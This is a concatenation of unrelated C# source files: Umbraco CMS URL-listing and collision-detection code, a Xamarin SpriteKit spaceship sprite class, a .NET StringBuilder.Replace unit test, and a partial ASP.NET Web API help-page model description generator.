var result = new List<UrlInfo>();
if (content.Published == false)
{
result.Add(UrlInfo.Message(textService.Localize("content", "itemNotPublished")));
return result;
}
// build a list of URLs, for the back-office
// which will contain
// - the 'main' URLs, which is what .Url would return, for each culture
// - the 'other' URLs we know (based upon domains, etc)
//
// need to work through each installed culture:
// on invariant nodes, each culture returns the same URL segment but,
// we don't know if the branch to this content is invariant, so we need to ask
// for URLs for all cultures.
// and, not only for those assigned to domains in the branch, because we want
// to show what GetUrl() would return, for every culture.
var urls = new HashSet<UrlInfo>();
var cultures = localizationService.GetAllLanguages().Select(x => x.IsoCode).ToList();
// get all URLs for all cultures
// in a HashSet, so de-duplicates too
foreach (UrlInfo cultureUrl in await GetContentUrlsByCultureAsync(content, cultures, publishedRouter,
umbracoContext, contentService, textService, variationContextAccessor, logger, uriUtility,
publishedUrlProvider))
{
urls.Add(cultureUrl);
}
// return the real URLs first, then the messages
foreach (IGrouping<bool, UrlInfo> urlGroup in urls.GroupBy(x => x.IsUrl).OrderByDescending(x => x.Key))
{
// in some cases there will be the same URL for multiple cultures:
// * The entire branch is invariant
// * If there are less domain/cultures assigned to the branch than the number of cultures/languages installed
if (urlGroup.Key)
{
result.AddRange(urlGroup.DistinctBy(x => x.Text.ToUpperInvariant())
.OrderBy(x => x.Text).ThenBy(x => x.Culture));
}
else
{
result.AddRange(urlGroup);
}
}
// get the 'other' URLs - ie not what you'd get with GetUrl() but URLs that would route to the document, nevertheless.
// for these 'other' URLs, we don't check whether they are routable, collide, anything - we just report them.
foreach (UrlInfo otherUrl in publishedUrlProvider.GetOtherUrls(content.Id).OrderBy(x => x.Text)
.ThenBy(x => x.Culture))
{
// avoid duplicates
if (urls.Add(otherUrl))
{
result.Add(otherUrl);
}
}
return result;
}
/// <summary>
/// Tries to return a <see cref="UrlInfo" /> for each culture for the content while detecting collisions/errors
/// </summary>
private static async Task<IEnumerable<UrlInfo>> GetContentUrlsByCultureAsync(
IContent content,
IEnumerable<string> cultures,
IPublishedRouter publishedRouter,
IUmbracoContext umbracoContext,
IContentService contentService,
ILocalizedTextService textService,
IVariationContextAccessor variationContextAccessor,
ILogger logger,
UriUtility uriUtility,
IPublishedUrlProvider publishedUrlProvider)
{
var result = new List<UrlInfo>();
foreach (var culture in cultures)
{
// if content is variant, and culture is not published, skip
if (content.ContentType.VariesByCulture() && !content.IsCulturePublished(culture))
{
continue;
}
// if it's variant and culture is published, or if it's invariant, proceed
string url;
try
{
url = publishedUrlProvider.GetUrl(content.Id, culture: culture);
}
catch (Exception ex)
{
logger.LogError(ex, "GetUrl exception.");
url = "#ex";
}
switch (url)
{
// deal with 'could not get the URL'
case "#":
result.Add(HandleCouldNotGetUrl(content, culture, contentService, textService));
break;
// deal with exceptions
case "#ex":
result.Add(UrlInfo.Message(textService.Localize("content", "getUrlException"), culture));
break;
// got a URL, deal with collisions, add URL
default:
// detect collisions, etc
Attempt<UrlInfo> hasCollision = await DetectCollisionAsync(logger, content, url, culture,
umbracoContext, publishedRouter, textService, variationContextAccessor, uriUtility);
if (hasCollision)
{
result.Add(hasCollision.Result);
}
else
{
result.Add(UrlInfo.Url(url, culture));
}
break;
}
}
return result;
}
private static UrlInfo HandleCouldNotGetUrl(IContent content, string culture, IContentService contentService,
ILocalizedTextService textService)
{
// document has a published version yet its URL is "#" => a parent must be
// unpublished, walk up the tree until we find it, and report.
IContent parent = content;
do
{
parent = parent.ParentId > 0 ? contentService.GetParent(parent) : null;
} while (parent != null && parent.Published &&
(!parent.ContentType.VariesByCulture() || parent.IsCulturePublished(culture)));
if (parent == null)
{
// oops, internal error
return UrlInfo.Message(textService.Localize("content", "parentNotPublishedAnomaly"), culture);
}
if (!parent.Published)
{
// totally not published
return UrlInfo.Message(textService.Localize("content", "parentNotPublished", new[] { parent.Name }),
culture);
}
// culture not published
return UrlInfo.Message(textService.Localize("content", "parentCultureNotPublished", new[] { parent.Name }),
culture);
}
private static async Task<Attempt<UrlInfo>> DetectCollisionAsync(ILogger logger, IContent content, string url,
string culture, IUmbracoContext umbracoContext, IPublishedRouter publishedRouter,
ILocalizedTextService textService, IVariationContextAccessor variationContextAccessor,
UriUtility uriUtility)
{
// test for collisions on the 'main' URL
var uri = new Uri(url.TrimEnd(Constants.CharArrays.ForwardSlash), UriKind.RelativeOrAbsolute);
if (uri.IsAbsoluteUri == false)
{
uri = uri.MakeAbsolute(umbracoContext.CleanedUmbracoUrl);
}
uri = uriUtility.UriToUmbraco(uri);
IPublishedRequestBuilder builder = await publishedRouter.CreateRequestAsync(uri);
IPublishedRequest pcr =
await publishedRouter.RouteRequestAsync(builder, new RouteRequestOptions(RouteDirection.Outbound));
if (!pcr.HasPublishedContent())
{
const string logMsg = nameof(DetectCollisionAsync) +
" did not resolve a content item for original url: {Url}, translated to {TranslatedUrl} and culture: {Culture}";
logger.LogDebug(logMsg, url, uri, culture);
var urlInfo = UrlInfo.Message(textService.Localize("content", "routeErrorCannotRoute"), culture);
return Attempt.Succeed(urlInfo);
}
if (pcr.IgnorePublishedContentCollisions)
{
return Attempt<UrlInfo>.Fail();
}
if (pcr.PublishedContent.Id != content.Id)
{
IPublishedContent o = pcr.PublishedContent;
var l = new List<string>();
while (o != null)
{
l.Add(o.Name(variationContextAccessor));
o = o.Parent;
}
l.Reverse();
var s = "/" + string.Join("/", l) + " (id=" + pcr.PublishedContent.Id + ")";
var urlInfo = UrlInfo.Message(textService.Localize("content", "routeError", new[] { s }), culture);
return Attempt.Succeed(urlInfo);
}
// no collision
return Attempt<UrlInfo>.Fail();
}
}
}
| |
using System;
using CoreGraphics;
using Foundation;
using SpriteKit;
using UIKit;
namespace SpriteKitPhysicsCollisions
{
public class ShipSprite : SKSpriteNode
{
const int startingShipHealth = 10;
const int showDamageBelowHealth = 4;
// Used to configure a ship explosion.
const double shipExplosionDuration = 0.6;
const float shipChunkMinimumSpeed = 300f;
const float shipChunkMaximumSpeed = 750f;
const float shipChunkDispersion = 30f;
const int numberOfChunks = 30;
const float removeShipTime = 0.35f;
// Used to control the ship, usually by applying physics forces to the ship.
float mainEngineThrust = 5f;
float reverseThrust = 1f;
float lateralThrust = 0.005f;
float firingInterval = 0.1f;
float missileLaunchDistance = 45f;
const float engineIdleAlpha = 0.05f;
float missileLaunchImpulse = 0.5f;
ExhaustNode exhaustNode;
SKEmitterNode visibleDamageNode;
nfloat engineEngagedAlpha;
double timeLastFiredMissile;
int health;
static readonly Random rand = new Random ();
static float myRand (float low, float high)
{
return (float)rand.NextDouble () * (high - low) + low;
}
public ShipSprite (CGPoint initialPosition)
: base (NSBundle.MainBundle.PathForResource ("spaceship", "png"))
{
health = startingShipHealth;
using (CGPath boundingPath = new CGPath ()) {
boundingPath.MoveToPoint (-12f, -38f);
boundingPath.AddLineToPoint (12f, -38f);
boundingPath.AddLineToPoint (9f, 18f);
boundingPath.AddLineToPoint (2f, 38f);
boundingPath.AddLineToPoint (-2f, 38f);
boundingPath.AddLineToPoint (-9f, 18f);
boundingPath.AddLineToPoint (-12f, -38f);
#if false
// Debug overlay
SKShapeNode shipOverlayShape = new SKShapeNode () {
Path = boundingPath,
StrokeColor = UIColor.Clear,
FillColor = UIColor.FromRGBA (0f, 1f, 0f, 0.5f)
};
ship.AddChild (shipOverlayShape);
#endif
var body = SKPhysicsBody.CreateBodyFromPath (boundingPath);
body.CategoryBitMask = Category.Ship;
body.CollisionBitMask = Category.Ship | Category.Asteroid | Category.Planet | Category.Edge;
body.ContactTestBitMask = body.CollisionBitMask;
// The ship doesn't slow down when it moves forward, but it does slow its angular rotation. In practice,
// this feels better for a game.
body.LinearDamping = 0;
body.AngularDamping = 0.5f;
PhysicsBody = body;
}
Position = initialPosition;
}
public ExhaustNode ExhaustNode {
get {
if (exhaustNode == null) {
var emitter = new ExhaustNode (Scene);
engineEngagedAlpha = (float)emitter.ParticleAlpha;
AddChild (emitter);
exhaustNode = emitter;
}
return exhaustNode;
}
}
void ShowDamage()
{
// When the ship first shows damage, a damage node is created and added as a child.
// If it takes more damage, then the number of particles is increased.
if (visibleDamageNode == null)
{
visibleDamageNode = (SKEmitterNode)NSKeyedUnarchiver.UnarchiveFile (NSBundle.MainBundle.PathForResource ("damage", "sks"));
visibleDamageNode.Name = @"damaged";
// Make the scene the target node because the ship is moving around in the scene. Smoke particles
// should be spawned based on the ship, but should otherwise exist independently of the ship.
visibleDamageNode.TargetNode = Scene;
AddChild(visibleDamageNode);
} else {
visibleDamageNode.ParticleBirthRate = visibleDamageNode.ParticleBirthRate * 2;
}
}
void MakeExhaustNode()
{
var emitter = (ExhaustNode)NSKeyedUnarchiver.UnarchiveFile (NSBundle.MainBundle.PathForResource ("exhaust", "sks"));
// Hard coded position at the back of the ship.
emitter.Position = new CGPoint(0, -40);
emitter.Name = "exhaust";
// Make the scene the target node because the ship is moving around in the scene. Exhaust particles
// should be spawned based on the ship, but should otherwise exist independently of the ship.
emitter.TargetNode = Scene;
// The exhaust node is always emitting particles, but the alpha of the particles is adjusted depending on whether
// the engines are engaged or not. This adds a subtle effect when the ship is idling.
engineEngagedAlpha = emitter.ParticleAlpha;
emitter.ParticleAlpha = engineIdleAlpha;
AddChild (emitter);
exhaustNode = emitter;
}
void MakeExhaustNodeIfNeeded()
{
if (exhaustNode == null)
MakeExhaustNode ();
}
public void ApplyDamage (int amount)
{
// If the ship takes too much damage, blow it up. Otherwise, decrement the health (and show damage if necessary).
if (amount >= health) {
if (health >= 0) {
health = 0;
Explode ();
}
} else {
health -= amount;
if (health < showDamageBelowHealth)
ShowDamage ();
}
}
void Explode ()
{
// Create a bunch of explosion emitters and send them flying in all directions. Then remove the ship from the scene.
for (int i = 0; i < numberOfChunks; i++) {
SKEmitterNode explosion = NodeFactory.CreateExplosionNode(Scene, shipExplosionDuration);
float angle = myRand (0, (float) Math.PI * 2);
float speed = myRand (shipChunkMinimumSpeed, shipChunkMaximumSpeed);
var x = myRand ((float)Position.X - shipChunkDispersion, (float)Position.X + shipChunkDispersion);
var y = myRand ((float)Position.Y - shipChunkDispersion, (float)Position.Y + shipChunkDispersion);
explosion.Position = new CGPoint (x, y);
var body = SKPhysicsBody.CreateCircularBody (0.25f);
body.CollisionBitMask = 0;
body.ContactTestBitMask = 0;
body.CategoryBitMask = 0;
body.Velocity = new CGVector ((float) Math.Cos (angle) * speed, (float) Math.Sin (angle) * speed);
explosion.PhysicsBody = body;
Scene.AddChild (explosion);
}
RunAction (SKAction.Sequence (
SKAction.WaitForDuration (removeShipTime),
SKAction.RemoveFromParent ()
));
}
public float ShipOrientation {
get {
// The ship art is oriented so that it faces the top of the scene, but Sprite Kit's rotation default is to the right.
// This method calculates the ship orientation for use in other calculations.
return (float)ZRotation + (float)Math.PI / 2;
}
}
public float ShipExhaustAngle {
get {
// The ship art is oriented so that it faces the top of the scene, but Sprite Kit's rotation default is to the right.
// This method calculates the direction for the ship's rear.
return (float)ZRotation - (float)Math.PI / 2;
}
}
public void ActivateMainEngine ()
{
// Add flames out the back and apply thrust to the ship.
float shipDirection = ShipOrientation;
var dx = mainEngineThrust * (float)Math.Cos (shipDirection);
var dy = mainEngineThrust * (float)Math.Sin (shipDirection);
PhysicsBody.ApplyForce (new CGVector (dx, dy));
MakeExhaustNodeIfNeeded ();
ExhaustNode.ParticleAlpha = engineEngagedAlpha;
ExhaustNode.EmissionAngle = ShipExhaustAngle;
}
public void DeactivateMainEngine ()
{
ExhaustNode.ParticleAlpha = ExhaustNode.IdleAlpha;
ExhaustNode.EmissionAngle = ShipExhaustAngle;
}
public void ReverseThrust ()
{
double reverseDirection = ShipOrientation + Math.PI;
var dx = reverseThrust * (float)Math.Cos (reverseDirection);
var dy = reverseThrust * (float)Math.Sin (reverseDirection);
PhysicsBody.ApplyForce (new CGVector (dx, dy));
}
public void RotateShipLeft ()
{
PhysicsBody.ApplyTorque (lateralThrust);
}
public void RotateShipRight ()
{
PhysicsBody.ApplyTorque (-lateralThrust);
}
public void AttemptMissileLaunch (double currentTime)
{
if (health <= 0)
return;
double timeSinceLastFired = currentTime - timeLastFiredMissile;
if (timeSinceLastFired > firingInterval) {
timeLastFiredMissile = currentTime;
// avoid duplicating costly math ops
float shipDirection = ShipOrientation;
float cos = (float) Math.Cos (shipDirection);
float sin = (float) Math.Sin (shipDirection);
var position = new CGPoint (Position.X + missileLaunchDistance * cos,
Position.Y + missileLaunchDistance * sin);
SKNode missile = NodeFactory.CreateMissileNode (this);
missile.Position = position;
Scene.AddChild (missile);
missile.PhysicsBody.Velocity = PhysicsBody.Velocity;
var vector = new CGVector (missileLaunchImpulse * cos, missileLaunchImpulse * sin);
missile.PhysicsBody.ApplyImpulse (vector);
}
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
/// <summary>
/// System.Text.StringBuilder.Replace(oldString,newString,startIndex,count)
/// </summary>
class StringBuilderReplace4
{
private const int c_MIN_STRING_LEN = 8;
private const int c_MAX_STRING_LEN = 256;
private const int c_MAX_SHORT_STR_LEN = 31;//short string (<32 chars)
private const int c_MIN_LONG_STR_LEN = 257;//long string ( >256 chars)
private const int c_MAX_LONG_STR_LEN = 65535;
public static int Main()
{
StringBuilderReplace4 test = new StringBuilderReplace4();
TestLibrary.TestFramework.BeginTestCase("for Method:System.Text.StringBuilder.Replace(oldString,newString,startIndex,count)");
if (test.RunTests())
{
TestLibrary.TestFramework.EndTestCase();
TestLibrary.TestFramework.LogInformation("PASS");
return 100;
}
else
{
TestLibrary.TestFramework.EndTestCase();
TestLibrary.TestFramework.LogInformation("FAIL");
return 0;
}
}
public bool RunTests()
{
bool retVal = true;
TestLibrary.TestFramework.LogInformation("[Positive]");
retVal = PosTest1() && retVal;
retVal = PosTest2() && retVal;
retVal = PosTest3() && retVal;
retVal = PosTest4() && retVal;
TestLibrary.TestFramework.LogInformation("[Negative]");
retVal = NegTest1() && retVal;
retVal = NegTest2() && retVal;
retVal = NegTest3() && retVal;
retVal = NegTest4() && retVal;
retVal = NegTest5() && retVal;
return retVal;
}
#region PositiveTesting
public bool PosTest1()
{
bool retVal = true;
const string c_TEST_DESC = "PosTest1: Old string exists in source StringBuilder, random new string. ";
const string c_TEST_ID = "P001";
string strSrc = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
System.Text.StringBuilder stringBuilder = new System.Text.StringBuilder(strSrc);
string newString = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
int subStartIndex = TestLibrary.Generator.GetInt32(-55) % strSrc.Length;
int subLength = TestLibrary.Generator.GetInt32(-55) % (strSrc.Length - subStartIndex);
while (subLength == 0)
{
subStartIndex = TestLibrary.Generator.GetInt32(-55) % strSrc.Length;
subLength = TestLibrary.Generator.GetInt32(-55) % (strSrc.Length - subStartIndex);
}
string oldString = strSrc.Substring(subStartIndex, subLength);
System.Text.StringBuilder newStringBuilder = new System.Text.StringBuilder(strSrc.Replace(oldString, newString));
TestLibrary.TestFramework.BeginScenario(c_TEST_DESC);
try
{
stringBuilder.Replace(oldString, newString, 0, strSrc.Length);
if (stringBuilder.ToString() != newStringBuilder.ToString())
{
string errorDesc = "Value is not " + newStringBuilder.ToString() + " as expected: Actual(" + stringBuilder.ToString() + ")";
errorDesc += GetDataString(strSrc, oldString, newString,0,strSrc.Length);
TestLibrary.TestFramework.LogError("001" + " TestId-" + c_TEST_ID, errorDesc);
retVal = false;
}
}
catch (Exception e)
{
TestLibrary.TestFramework.LogError("002" + " TestId-" + c_TEST_ID, "Unexpected exception: " + e + GetDataString(strSrc, oldString, newString, 0, strSrc.Length));
retVal = false;
}
return retVal;
}
public bool PosTest2()
{
bool retVal = true;
const string c_TEST_DESC = "PosTest2: the source StringBuilder is empty. ";
const string c_TEST_ID = "P002";
string strSrc = string.Empty;
System.Text.StringBuilder stringBuilder = new System.Text.StringBuilder(strSrc);
string newString = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
string oldString = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN,c_MAX_STRING_LEN);
System.Text.StringBuilder newStringBuilder = new System.Text.StringBuilder(strSrc.Replace(oldString, newString));
TestLibrary.TestFramework.BeginScenario(c_TEST_DESC);
try
{
stringBuilder.Replace(oldString, newString, 0, strSrc.Length);
if (stringBuilder.ToString() != newStringBuilder.ToString())
{
string errorDesc = "Value is not " + newStringBuilder.ToString() + " as expected: Actual(" + stringBuilder.ToString() + ")";
errorDesc += GetDataString(strSrc, oldString, newString, 0, strSrc.Length);
TestLibrary.TestFramework.LogError("003" + " TestId-" + c_TEST_ID, errorDesc);
retVal = false;
}
}
catch (Exception e)
{
TestLibrary.TestFramework.LogError("004" + " TestId-" + c_TEST_ID, "Unexpected exception: " + e + GetDataString(strSrc, oldString, newString, 0, strSrc.Length));
retVal = false;
}
return retVal;
}
public bool PosTest3()
{
bool retVal = true;
const string c_TEST_DESC = "PosTest3: Old string is random, new string is randow also. ";
const string c_TEST_ID = "P003";
string strSrc = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
System.Text.StringBuilder stringBuilder = new System.Text.StringBuilder(strSrc);
string newString = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
string oldString = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
System.Text.StringBuilder newStringBuilder = new System.Text.StringBuilder(strSrc.Replace(oldString, newString));
TestLibrary.TestFramework.BeginScenario(c_TEST_DESC);
try
{
stringBuilder.Replace(oldString, newString, 0, strSrc.Length);
if (stringBuilder.ToString() != newStringBuilder.ToString())
{
string errorDesc = "Value is not " + newStringBuilder.ToString() + " as expected: Actual(" + stringBuilder.ToString() + ")";
errorDesc += GetDataString(strSrc, oldString, newString, 0, strSrc.Length);
TestLibrary.TestFramework.LogError("005" + " TestId-" + c_TEST_ID, errorDesc);
retVal = false;
}
}
catch (Exception e)
{
TestLibrary.TestFramework.LogError("006" + " TestId-" + c_TEST_ID, "Unexpected exception: " + e + GetDataString(strSrc, oldString, newString, 0, strSrc.Length));
retVal = false;
}
return retVal;
}
public bool PosTest4()
{
bool retVal = true;
const string c_TEST_DESC = "PosTest4: Old string is out of range of the source StingBuilder. ";
const string c_TEST_ID = "P004";
string strSrc = "We always believe that the old time is good time and future time is bad time";
System.Text.StringBuilder stringBuilder = new System.Text.StringBuilder(strSrc);
string newString = "thing";
string oldString = "time";
string replacedString = "We always believe that the old thing is good thing and future time is bad time";
System.Text.StringBuilder newStringBuilder = new System.Text.StringBuilder(replacedString);
TestLibrary.TestFramework.BeginScenario(c_TEST_DESC);
try
{
stringBuilder.Replace(oldString, newString, 2, 47);
if (stringBuilder.ToString() != newStringBuilder.ToString())
{
string errorDesc = "Value is not " + newStringBuilder.ToString() + " as expected: Actual(" + stringBuilder.ToString() + ")";
errorDesc += GetDataString(strSrc, oldString, newString, 2, 47);
TestLibrary.TestFramework.LogError("007" + " TestId-" + c_TEST_ID, errorDesc);
retVal = false;
}
}
catch (Exception e)
{
TestLibrary.TestFramework.LogError("008" + " TestId-" + c_TEST_ID, "Unexpected exception: " + e + GetDataString(strSrc, oldString, newString, 2, 47));
retVal = false;
}
return retVal;
}
#endregion
#region NegativeTesting
public bool NegTest1()
{
bool retVal = true;
const string c_TEST_DESC = "NegTest1: Start index is larger than source StringBuilder's length";
const string c_TEST_ID = "N001";
string strSrc = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
System.Text.StringBuilder stringBuilder = new System.Text.StringBuilder(strSrc);
int startIndex = TestLibrary.Generator.GetInt32(-55) + stringBuilder.Length;
int count = TestLibrary.Generator.GetInt32(-55);
string newString = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
string oldString = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
TestLibrary.TestFramework.BeginScenario(c_TEST_DESC);
try
{
stringBuilder.Replace(oldString, newString, startIndex, count);
TestLibrary.TestFramework.LogError("009" + " TestId-" + c_TEST_ID, "ArgumentOutOfRangeException is not thrown as expected." + GetDataString(strSrc, oldString, newString, startIndex, count));
retVal = false;
}
catch (ArgumentOutOfRangeException)
{
}
catch (Exception e)
{
TestLibrary.TestFramework.LogError("010" + " TestId-" + c_TEST_ID, "Unexpected exception: " + e + GetDataString(strSrc, oldString, newString, startIndex, count));
retVal = false;
}
return retVal;
}
public bool NegTest2()
{
bool retVal = true;
const string c_TEST_DESC = "NegTest2: startIndex plus count indicates a character position not within the source StringBuilder";
const string c_TEST_ID = "N002";
string strSrc = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
System.Text.StringBuilder stringBuilder = new System.Text.StringBuilder(strSrc);
int startIndex = TestLibrary.Generator.GetInt32(-55) % strSrc.Length;
int count = TestLibrary.Generator.GetInt32(-55)+stringBuilder.Length-startIndex;
string newString = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
string oldString = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
TestLibrary.TestFramework.BeginScenario(c_TEST_DESC);
try
{
stringBuilder.Replace(oldString, newString, startIndex, count);
TestLibrary.TestFramework.LogError("011" + " TestId-" + c_TEST_ID, "ArgumentOutOfRangeException is not thrown as expected." + GetDataString(strSrc, oldString, newString, stringBuilder.Length, stringBuilder.Length));
retVal = false;
}
catch (ArgumentOutOfRangeException)
{
}
catch (Exception e)
{
TestLibrary.TestFramework.LogError("012" + " TestId-" + c_TEST_ID, "Unexpected exception: " + e + GetDataString(strSrc, oldString, newString, startIndex, count));
retVal = false;
}
return retVal;
}
public bool NegTest3()
{
bool retVal = true;
const string c_TEST_DESC = "NegTest3: old string is a null reference ";
const string c_TEST_ID = "N003";
string strSrc = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
System.Text.StringBuilder stringBuilder = new System.Text.StringBuilder(strSrc);
int startIndex = TestLibrary.Generator.GetInt32(-55) % strSrc.Length;
int count = stringBuilder.Length - startIndex-1;
string newString = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
string oldString = null;
TestLibrary.TestFramework.BeginScenario(c_TEST_DESC);
try
{
stringBuilder.Replace(oldString, newString, startIndex,count);
TestLibrary.TestFramework.LogError("013" + " TestId-" + c_TEST_ID, "ArgumentOutOfRangeException is not thrown as expected." + GetDataString(strSrc, oldString, newString, stringBuilder.Length, stringBuilder.Length));
retVal = false;
}
catch (ArgumentNullException)
{
}
catch (Exception e)
{
TestLibrary.TestFramework.LogError("014" + " TestId-" + c_TEST_ID, "Unexpected exception: " + e + GetDataString(strSrc, oldString, newString, startIndex, count));
retVal = false;
}
return retVal;
}
public bool NegTest4()
{
bool retVal = true;
const string c_TEST_DESC = "NegTest4: old string is empty ";
const string c_TEST_ID = "N004";
string strSrc = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
System.Text.StringBuilder stringBuilder = new System.Text.StringBuilder(strSrc);
int startIndex = TestLibrary.Generator.GetInt32(-55) % strSrc.Length;
int count = stringBuilder.Length - startIndex - 1;
string newString = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
string oldString = string.Empty;
TestLibrary.TestFramework.BeginScenario(c_TEST_DESC);
try
{
stringBuilder.Replace(oldString, newString, startIndex, count);
TestLibrary.TestFramework.LogError("015" + " TestId-" + c_TEST_ID, "ArgumentOutOfRangeException is not thrown as expected." + GetDataString(strSrc, oldString, newString, stringBuilder.Length, stringBuilder.Length));
retVal = false;
}
catch (ArgumentException)
{
}
catch (Exception e)
{
TestLibrary.TestFramework.LogError("016" + " TestId-" + c_TEST_ID, "Unexpected exception: " + e + GetDataString(strSrc,oldString, newString, startIndex, count));
retVal = false;
}
return retVal;
}
public bool NegTest5()
{
bool retVal = true;
const string c_TEST_DESC = "NegTest5: the source StringBuilder is null reference";
const string c_TEST_ID = "N005";
System.Text.StringBuilder stringBuilder = null;
int startIndex = 0;
int count = 0;
string newString = TestLibrary.Generator.GetString(-55, false, c_MIN_STRING_LEN, c_MAX_STRING_LEN);
string oldString = string.Empty;
TestLibrary.TestFramework.BeginScenario(c_TEST_DESC);
try
{
stringBuilder.Replace(oldString, newString, startIndex, count);
TestLibrary.TestFramework.LogError("017" + " TestId-" + c_TEST_ID, "ArgumentOutOfRangeException is not thrown as expected." + GetDataString(null,oldString, newString, stringBuilder.Length, stringBuilder.Length));
retVal = false;
}
catch (NullReferenceException)
{
}
catch (Exception e)
{
TestLibrary.TestFramework.LogError("018" + " TestId-" + c_TEST_ID, "Unexpected exception: " + e + GetDataString(null,oldString, newString, startIndex, count));
retVal = false;
}
return retVal;
}
#endregion
#region Helper methords for testing
private string GetDataString(string strSrc, string oldString, string newString, int startIndex, int count)
{
string str1, str,oldStr,newStr;
int len1;
if (null == strSrc)
{
str1 = "null";
len1 = 0;
}
else
{
str1 = strSrc;
len1 = strSrc.Length;
}
if (null == oldString)
{
oldStr = "null";
}
else
{
oldStr = oldString;
}
if (null == newString)
{
newStr = newString;
}
else
{
newStr = newString;
}
str = string.Format("\n[Source StingBulider value]\n \"{0}\"", str1);
str += string.Format("\n[Length of source StringBuilder]\n {0}", len1);
str += string.Format("\n[Start index ]\n{0}", startIndex);
str += string.Format("\n[Replace count]\n{0}", count);
str += string.Format("\n[Old string]\n{0}", oldStr);
str += string.Format("\n[New string]\n{0}", newStr);
return str;
}
#endregion
}
| |
using System;
using System.Collections;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.ComponentModel.DataAnnotations;
using System.Globalization;
using System.Reflection;
using System.Runtime.Serialization;
using System.Web.Http;
using System.Web.Http.Description;
using System.Xml.Serialization;
using Newtonsoft.Json;
namespace Injector.UI.Areas.HelpPage.ModelDescriptions
{
/// <summary>
/// Generates model descriptions for given types.
/// </summary>
public class ModelDescriptionGenerator
{
// Modify this to support more data annotation attributes.
private readonly IDictionary<Type, Func<object, string>> AnnotationTextGenerator = new Dictionary<Type, Func<object, string>>
{
{ typeof(RequiredAttribute), a => "Required" },
{ typeof(RangeAttribute), a =>
{
RangeAttribute range = (RangeAttribute)a;
return String.Format(CultureInfo.CurrentCulture, "Range: inclusive between {0} and {1}", range.Minimum, range.Maximum);
}
},
{ typeof(MaxLengthAttribute), a =>
{
MaxLengthAttribute maxLength = (MaxLengthAttribute)a;
return String.Format(CultureInfo.CurrentCulture, "Max length: {0}", maxLength.Length);
}
},
{ typeof(MinLengthAttribute), a =>
{
MinLengthAttribute minLength = (MinLengthAttribute)a;
return String.Format(CultureInfo.CurrentCulture, "Min length: {0}", minLength.Length);
}
},
{ typeof(StringLengthAttribute), a =>
{
StringLengthAttribute strLength = (StringLengthAttribute)a;
return String.Format(CultureInfo.CurrentCulture, "String length: inclusive between {0} and {1}", strLength.MinimumLength, strLength.MaximumLength);
}
},
{ typeof(DataTypeAttribute), a =>
{
DataTypeAttribute dataType = (DataTypeAttribute)a;
return String.Format(CultureInfo.CurrentCulture, "Data type: {0}", dataType.CustomDataType ?? dataType.DataType.ToString());
}
},
{ typeof(RegularExpressionAttribute), a =>
{
RegularExpressionAttribute regularExpression = (RegularExpressionAttribute)a;
return String.Format(CultureInfo.CurrentCulture, "Matching regular expression pattern: {0}", regularExpression.Pattern);
}
},
};
// Modify this to add more default documentations.
private readonly IDictionary<Type, string> DefaultTypeDocumentation = new Dictionary<Type, string>
{
{ typeof(Int16), "integer" },
{ typeof(Int32), "integer" },
{ typeof(Int64), "integer" },
{ typeof(UInt16), "unsigned integer" },
{ typeof(UInt32), "unsigned integer" },
{ typeof(UInt64), "unsigned integer" },
{ typeof(Byte), "byte" },
{ typeof(Char), "character" },
{ typeof(SByte), "signed byte" },
{ typeof(Uri), "URI" },
{ typeof(Single), "decimal number" },
{ typeof(Double), "decimal number" },
{ typeof(Decimal), "decimal number" },
{ typeof(String), "string" },
{ typeof(Guid), "globally unique identifier" },
{ typeof(TimeSpan), "time interval" },
{ typeof(DateTime), "date" },
{ typeof(DateTimeOffset), "date" },
{ typeof(Boolean), "boolean" },
};
private Lazy<IModelDocumentationProvider> _documentationProvider;
public ModelDescriptionGenerator(HttpConfiguration config)
{
if (config == null)
{
throw new ArgumentNullException("config");
}
_documentationProvider = new Lazy<IModelDocumentationProvider>(() => config.Services.GetDocumentationProvider() as IModelDocumentationProvider);
GeneratedModels = new Dictionary<string, ModelDescription>(StringComparer.OrdinalIgnoreCase);
}
public Dictionary<string, ModelDescription> GeneratedModels { get; private set; }
private IModelDocumentationProvider DocumentationProvider
{
get
{
return _documentationProvider.Value;
}
}
public ModelDescription GetOrCreateModelDescription(Type modelType)
{
if (modelType == null)
{
throw new ArgumentNullException("modelType");
}
Type underlyingType = Nullable.GetUnderlyingType(modelType);
if (underlyingType != null)
{
modelType = underlyingType;
}
ModelDescription modelDescription;
string modelName = ModelNameHelper.GetModelName(modelType);
if (GeneratedModels.TryGetValue(modelName, out modelDescription))
{
if (modelType != modelDescription.ModelType)
{
throw new InvalidOperationException(
String.Format(
CultureInfo.CurrentCulture,
"A model description could not be created. Duplicate model name '{0}' was found for types '{1}' and '{2}'. " +
"Use the [ModelName] attribute to change the model name for at least one of the types so that it has a unique name.",
modelName,
modelDescription.ModelType.FullName,
modelType.FullName));
}
return modelDescription;
}
if (DefaultTypeDocumentation.ContainsKey(modelType))
{
